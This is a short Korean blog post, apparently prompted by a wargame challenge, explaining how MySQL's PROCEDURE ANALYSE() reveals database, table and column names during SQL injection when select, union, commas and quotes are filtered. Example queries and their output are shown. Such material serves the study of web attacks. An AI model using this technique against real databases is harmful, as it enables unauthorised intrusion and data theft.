출처 : http://hyunmini.tistory.com/46
MySQL 에서 발생할 수 있는 특이한 인젝션 기법을 알게 되어서 포스팅 합니다.
워게임 사이트 문제 풀다 알게 된 것이고...어느정도 웹해킹에 대해선 자신있어 했던게 부끄럽네요. ^^;
더욱 열심히 공부해야 겠습니다.
요지는 select 키워드가 필터링 될때, 어떻게 필드명을 알아낼 수 있을까 라는 것에 대한 것입니다.
select 가 필터링 되면 information_schema.tables 나 columns 에서 쿼리를 할 수 없습니다. 이 문제에선
","(콤마) 와 작은 따옴표까지 필터링 되고 있어서 더욱 쉽지 않습니다. 삽질을 좀 하다가 구글링을 통해
mysql 함수중 하나인 procedure analyze() 함수를 알게 되었습니다.
mysql> select id from test where no=1 procedure analyse();
+--------------+-----------+-----------+------------+------------+------------------+-----+
| Field_name | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls |
+--------------+-----------+-----------+------------+------------+------------------+-----+
| test.test.id | admin | admin | 5 | 5 | 0 | 0 |
+--------------+-----------+-----------+------------+------------+------------------+-----+
중요한 것은 테이블,필드명을 모른다고 해도 test.test.id 와 같은 형식으로 출력된 첫번째 필드명을 통해
테이블명을 알 수 있다는 것입니다.
mysql> select id from test where no=1 limit 0,1 procedure analyse(); // 첫째 필드
mysql> select id from test where no=1 limit 1,1 procedure analyse(); // 둘째 필드
mysql> select id from test where no=1 limit 2,1 procedure analyse(); // 셋째 필드
information_schema, union, select 등이 막힌 상황에서 유용할 듯 싶습니다. :)
'Security' 카테고리의 다른 글
Flag (0) | 2014.05.04 |
---|---|
lpad , conv 를 이용한 BlindSQL Injection (0) | 2014.04.13 |
BOF 기초 (2) | 2014.04.12 |
서든어택 Wall Hack 원리 (1) | 2010.01.05 |
CODEGATE 2009 (0) | 2009.04.02 |